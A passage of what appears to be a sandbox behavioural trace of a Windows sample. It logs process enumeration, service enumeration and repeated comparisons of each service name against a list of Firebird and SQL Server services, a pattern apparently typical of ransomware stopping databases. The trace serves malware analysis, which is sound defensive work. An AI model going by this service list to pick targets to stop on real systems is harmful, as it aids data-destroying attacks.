szExeFile="svchost.exe")) returned 1 [0194.456] lstrlenW (lpString="svchost.exe") returned 11 [0194.457] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.458] lstrlenW (lpString="svchost.exe") returned 11 [0194.458] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.459] lstrlenW (lpString="svchost.exe") returned 11 [0194.459] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.460] lstrlenW (lpString="svchost.exe") returned 11 [0194.460] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.461] lstrlenW (lpString="svchost.exe") returned 11 [0194.461] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.462] lstrlenW (lpString="spoolsv.exe") returned 11 [0194.462] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.463] lstrlenW (lpString="svchost.exe") returned 11 [0194.463] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.464] lstrlenW (lpString="audiodg.exe") returned 11 [0194.464] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0194.465] lstrlenW (lpString="sihost.exe") returned 10 [0194.465] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.466] lstrlenW (lpString="svchost.exe") returned 11 [0194.466] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0194.467] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0194.467] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0194.468] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0194.469] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0194.469] lstrlenW (lpString="Memory Compression") returned 18 [0194.470] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0194.470] lstrlenW (lpString="taskhostw.exe") returned 13 [0194.470] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0194.471] lstrlenW (lpString="msoia.exe") returned 9 [0194.471] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.472] lstrlenW (lpString="explorer.exe") returned 12 [0194.473] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0194.473] lstrlenW (lpString="SearchUI.exe") returned 12 [0194.474] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0194.474] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0194.474] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0194.685] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0194.686] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0194.687] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0194.687] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0194.688] lstrlenW (lpString="wmxsde.exe") returned 10 [0194.688] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0194.689] lstrlenW (lpString="consent.exe") returned 11 [0194.689] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.690] lstrlenW (lpString="dllhost.exe") returned 11 [0194.690] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0194.691] CloseHandle (hObject=0x538) returned 1 [0194.691] Sleep (dwMilliseconds=0x1f4) [0195.395] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f268 [0195.396] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0195.397] GetLastError () returned 0xea [0195.397] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4663fc0 [0195.397] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4663fc0, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4663fc0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0195.399] CloseServiceHandle (hSCObject=0x459f268) returned 1 [0195.399] lstrlenW (lpString="Appinfo") returned 7 [0195.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0195.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0195.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0195.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0195.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0195.399] lstrlenW (lpString="AppXSvc") returned 7 [0195.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0195.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0195.399] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0195.399] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0195.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0195.399] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.400] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.400] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.400] lstrlenW (lpString="Audiosrv") returned 8 [0195.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0195.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0195.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0195.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0195.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0195.400] lstrlenW (lpString="BFE") returned 3 [0195.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.400] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.400] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.400] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0195.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.400] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0195.400] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0195.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0195.400] lstrlenW (lpString="CDPSvc") returned 6 [0195.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0195.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0195.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0195.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0195.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0195.401] lstrlenW (lpString="ClickToRunSvc") returned 13 [0195.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.401] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0195.401] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0195.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0195.401] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0195.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.401] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0195.401] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0195.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0195.401] lstrlenW (lpString="CryptSvc") returned 8 [0195.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0195.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0195.401] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0195.401] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0195.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0195.401] lstrlenW (lpString="DcomLaunch") returned 10 [0195.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.402] lstrlenW (lpString="DeviceAssociationService") returned 24 [0195.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0195.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0195.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0195.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0195.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0195.402] lstrlenW (lpString="Dhcp") returned 4 [0195.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.402] lstrlenW (lpString="Dnscache") returned 8 [0195.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.402] lstrlenW (lpString="DPS") returned 3 [0195.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0195.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0195.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0195.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0195.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0195.402] lstrlenW (lpString="DusmSvc") returned 7 [0195.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0195.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0195.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0195.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0195.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0195.403] lstrlenW (lpString="EventLog") returned 8 [0195.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0195.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0195.403] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0195.403] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0195.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0195.403] lstrlenW (lpString="EventSystem") returned 11 [0195.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.403] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.403] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.403] lstrlenW (lpString="FontCache") returned 9 [0195.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0195.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0195.403] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0195.403] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0195.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0195.403] lstrlenW (lpString="gpsvc") returned 5 [0195.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.404] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.404] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.404] lstrlenW (lpString="iphlpsvc") returned 8 [0195.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.404] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0195.404] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0195.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0195.404] lstrlenW (lpString="KeyIso") returned 6 [0195.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0195.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0195.404] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0195.404] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0195.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0195.404] lstrlenW (lpString="LanmanServer") returned 12 [0195.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0195.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0195.404] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0195.404] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0195.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0195.404] lstrlenW (lpString="LanmanWorkstation") returned 17 [0195.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.404] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0195.404] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0195.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0195.405] lstrlenW (lpString="lfsvc") returned 5 [0195.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0195.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0195.405] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0195.405] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0195.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0195.405] lstrlenW (lpString="lmhosts") returned 7 [0195.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0195.405] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.405] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0195.405] lstrlenW (lpString="LSM") returned 3 [0195.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0195.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0195.405] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0195.405] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0195.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0195.405] lstrlenW (lpString="MpsSvc") returned 6 [0195.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0195.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0195.405] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0195.405] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0195.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0195.405] lstrlenW (lpString="NcbService") returned 10 [0195.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0195.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0195.406] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0195.406] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0195.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0195.406] lstrlenW (lpString="netprofm") returned 8 [0195.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0195.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0195.406] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0195.406] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0195.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0195.406] lstrlenW (lpString="NgcSvc") returned 6 [0195.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0195.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0195.406] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0195.406] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0195.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0195.406] lstrlenW (lpString="NlaSvc") returned 6 [0195.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0195.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0195.406] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0195.406] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0195.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0195.406] lstrlenW (lpString="nsi") returned 3 [0195.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.407] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.407] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.407] lstrlenW (lpString="PcaSvc") returned 6 [0195.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0195.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0195.407] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0195.407] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0195.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0195.407] lstrlenW (lpString="PlugPlay") returned 8 [0195.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.407] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.407] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.407] lstrlenW (lpString="Power") returned 5 [0195.407] lstrcmpiW 